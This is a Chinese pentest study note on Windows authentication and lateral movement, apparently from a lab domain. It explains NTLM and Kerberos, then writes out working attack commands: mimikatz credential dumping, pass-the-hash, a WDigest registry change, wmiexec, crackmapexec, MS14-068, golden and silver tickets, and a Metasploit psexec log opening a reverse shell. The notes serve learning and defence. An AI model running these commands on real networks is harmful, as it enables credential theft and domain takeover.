横向移动常见手法
上次的笔记不小心被我删除了,这次就重新总结一下,温故而知新吗(这篇学习笔记很久就写完了,最近吧内网的东西都熟悉了一遍,发现了这个笔记)~
Windows的Hash类型
在内网域渗透的过程中最重要的就是就是对windows的认证机制的理解
- Windows中的hash类型
LM HASH
很古老的hash类型,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据,Vista以前的版本使用过,之后的版本中都默认禁用了LM协议.
NTLM HASH
Vista以上的操作系统使用的Hash,通常意义上的NTLM Hash指存储在SAM数据库以及NTDS数据库中对密码进行摘要计算后的结果,这类Hash可以直接用于Pth(哈希传递),并且通常在lsass进程中(使用mimikatz抓取或procdump down下内存),便于ssp使用.
NET-NTLM HASH
一般用于网络身份认证(例如NTLM认证中),目前分为两个版本:
Net-NTLMv1
Net-NTLMv2
此类hash不能直接用来pth,但是可以通过暴力破解来获取明文密码
windows的认证机制
- 工作组认证(NTML认证)
1.客户端发起认证请求
2.服务端收到认证请求,向客户端发送随机数(challenge/挑战)
3.客户端使用NTLM Hash打乱随机数,生成Net-NTLM Hash发送回服务端(注意是用MTLMhash打乱的,所以我们要是有用户的hash值,那么我们也就可以伪造认证,造成pth攻击)
- 域认证(NTML认证)
实际中也就是比工作组认证多了个域控的角色
1.client输入username,password和domain,然后client会把password hash后的值缓存在本地
2.client将username的明文发送给server(DC)
3.DC生成一个16字节的随机数,即challenge,在传回client
4.client收到challenge以后,先复制一份出来,然后和缓存中的密码hash在一同hash一次,混合后的值成为response,之后client再将challenge,response,以及username一并传给server
5.server在收到client传过来的这三个值以后会把他们都转发给DC
6.DC接受到三个值以后,会根据username到域控的账号数据库(ntds.dist)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值在混合hash
7.将混合后的hash值与response,进行比较,相同则认证成功,反之失败,当然,如果是本地登录,所有验证肯定也全部直接在本地进行了
根据认证过程可以看到,假设知道了hash值还是可以伪造登陆的
- 域认证(Kerberos协议,票据伪造)
主要是分为3步
第一:从AS服务器中获取TGT票据
用户在客户端输入账号和密码之后,会对密码进行hash处理,作为user-secret-key
1. 客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数据库中查询到该用户名的密码,并使用hash生成user-secrect-key.
2. AS服务器向用户发送两样东西:
1) Client/TGS会话密钥,使用user-secrect-key进行加密
2) TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密
3.用户接收到消息之后,回使用本地的user-secret-key对消息1)进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT
第二:从TGS服务器中获取访问权限
1.客户端向TGS服务器发送信息:
1) 第一步骤中的TGT
2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。
2.TGS服务器收到消息之后,会使用TGS密钥对消息1)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:
1) client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密
2) ss会话密钥使用TGS会话密钥进行加密
3.客户端收到信息之后会对消息2)进行解密,获得ss会话密钥。
第三: 访问服务
1.客户端向ss服务器发送以下消息:
1)第二步骤中的client-server-ticket
2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密
2.SS服务器收到消息之后,会使用ss密钥对消息1)进行解密,解密之后使用ss会话密钥对消息2)解密,解密成功之后会得到authenticator,认证之后,发送:
1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密
3.客户端收到时间戳之后,解密确认,成功之后发送服务请求
4.ss服务器收到之后提供服务。
除了Kerberos协议的认证流程不懂之外其他的都已经了解了(感觉这个Kerberos对我来说确实有点难了emmmmm)
横向移动
- 哈希传递
经典的攻击方式,原理就是攻击者直接通过LM Hash和NTLM Hash访问远程主机或服务,而不提供明文密码.
适用于以下情况
* 域/工作组环境
* 可以获得hash,但是条件不允许对hash爆破
* 内网中存在和当前机器相同的密码
针对pth微软也打过补丁kb2871997
,但是对于本地的administrator
以及域内的管理员是无效的,仍然可以利用其hash进行pth,最好的一点就是防止了mimikatz
等工具直接抓取明文密码(但是我们可以down下内存来本地抓取,hash还是可以抓取到的,因为一些认证过程会用到hash),打了补丁的机器在wdigetst里面的密码一栏为空.
当然还有人给出了绕过的办法(修改注册表,未测试)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
注销、重启后生效(有时间在测试)
- 使用mimikatz(不仅仅只是抓取密码,pth,票据的制作都可以!)
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:administrator /domain:MIKASA /ntlm:0ceacf18afa10f3c5c30bc43e115cb4a
这样的话就会在本地创建一个cmd,直接就可以用IPC管道符远程连接了(cmd退出就会失效).
- 使用wmiexec(隐蔽性极高,无文件)
wmiexec.exe -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6 MIKASA.com/administrator@192.168.22.138 "whoami"
直接有回显执行命令
还有一个是PowerShell
set-executionpolicy remotesigned //powershell中开启运行脚本的权限
Import-Module .\Invoke-WMIExec.ps1 //导入函数
Invoke-WMIExec -Target 192.168.22.138 -Domain MIKASA.com -Username administrator -Hash 283471905734ce1951aa2b5f0d7253f6 -Command "calc.exe" -verbose
当然这个项目中还有smbexec等等,利用方法都是一致的
- 使用msf
use exploit/windows/smb/psexec
xxxxx
xxx
xxx
smbpass => 283471905734ce1951aa2b5f0d7253f6:283471905734ce1951aa2b5f0d7253f6
msf5 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.22.1:4444
[*] 192.168.22.138:445 - Connecting to the server...
[*] 192.168.22.138:445 - Authenticating to 192.168.22.138:445|MIKASA.com as user 'administrator'...
[*] 192.168.22.138:445 - Selecting PowerShell target
[*] 192.168.22.138:445 - Executing the payload...
[+] 192.168.22.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 192.168.22.138
[*] Meterpreter session 8 opened (192.168.22.1:4444 -> 192.168.22.138:52238) at 2019-12-08 21:20:41 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
可以直接获取到
- 使用CS
pth domain\user ntlmhash
shell dir \\主机名\C$
不行的话在用CS右键 Access-> Make token按操作就行了
CS的东西还是挺多的,这里面暂时就不先总结了
- Linux/MAC横向移动
使用IMPACKET工具
python wmiexec.py -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6 MIKASA.com/administrator@192.168.22.138 "whoami"

也是可以的
- 使用crackmapexec批量扫描
crackmapexec 192.168.0.0/24 -u administrator -H 03bebb338e70244589ea67c7439c77ba
//枚举C段
没有安装成功
- Kali
自带了很多的哈希传递的工具(没怎么用过KALI)
票据伪造(票据传递/ptt)
票据传递的攻击就是利用Kerberos协议进行攻击,暂时介绍三种常见的攻击方法ms14-058,Golden ticket,sliver ticket
.
下面再简单的说明一下域内的kerberos
协议工作方式
客户机将明文密码进行ntml哈希,然后和时间戳一起加密(使用krbtgt密码的hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
将TGT进行加密签名返回给客户机器,只有与用户才可以读取kerberos中TGT的数据
然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且TGT进行检测
检测成功之后,将目标服务账户的NTML以及TGT进行加密,将加密后的结果返回给客户机
- ms14-068(对应补丁KB3011780)
利用的是密钥分发中心(KDC)的漏洞,允许任意普通域用户伪造任意票据
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
1. 在请求AS时,将require_PAC设置成False。
2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
利用前提
域控没有打补丁MS14-069(KB3011780)
拿下一台加入域的计算机
有这台域内计算机的与用户密码和SID
利用过程
whoami /user
获取域用户的sid

使用mimikatz
抓取密码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

ms14-068.exe -u win7@MIKASA.com -s S-1-5-21-3006648259-3336348783-1992286540-1104 -d WIN-Q1E9PO4969I.MIKASA.com -p xxx
在使用mimikatz将证书写入,升级为域管理员
kerberso::ptc 证书名字
之后就可以使用psexec、wmiexec
等免密码的执行命令登录了

psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

参考文章:
https://www.cnblogs.com/backlion/p/6820744.html?utm_source=itdadao&utm_medium=referral
- 黄金票据(类似于域控的后门)
原理:kerberos协议认证过程中,客户端将自己的信息发送给KDC,KDC使用krbtgt用户密码hash作为密钥进行加密,生成TGT(也就是说我们获取得到了krbtgt的密码hash就可以任意伪造TGT了),但是krbtgt的密码hash只有DC上才有
适用场景
知道krbtgt用户的hash(说明已经获取到了域控制器的权限)
知道域名称
知道域的SID值
知道要伪造的用户名
先登录到域服务器,dump krbtgt用户的hash值,获取域sid
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" > c:\1.txt
获取域SID:S-1-5-21-3006648259-3336348783-1992286540
krbtgt的hash: c06e999c1a956bf99502142582e1b495
到普通域用户机器上使用mimikatz生成黄金票据
kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ptt
直接内存注入
或者
使用/ticket:test.kirbi参数导出凭据在使用
kerberos::ptt test.kirbi注入

psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

防御措施
建议经常更新krbtgt的密码
还有的分析黄金票据有局限性
https://www.cnblogs.com/backlion/p/8127868.html
OK,关于黄金票据就到此结束了.
- 白银票据
白银票据就跟黄金票据不同了,他并不是像黄金票据一样利用krbtgt伪造TGT,他是直接不与KDC通信,使用的是计算机账户的hash(域控的计算机账户)来伪造TGT,因此只能访问特定的服务.
首先上域控中抓取密码
获取到目标机器的hash(注意是机器hash而不是域用户hash)
9f26d10e5bbcb5b891fc6ca79e53a033
mimikatz伪造白银票据
kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:a3c828040b117c4c4cc8f2b8ff82a24f /service:cifs /user:win7 /ptt
之后就可以访问域控的文件系统了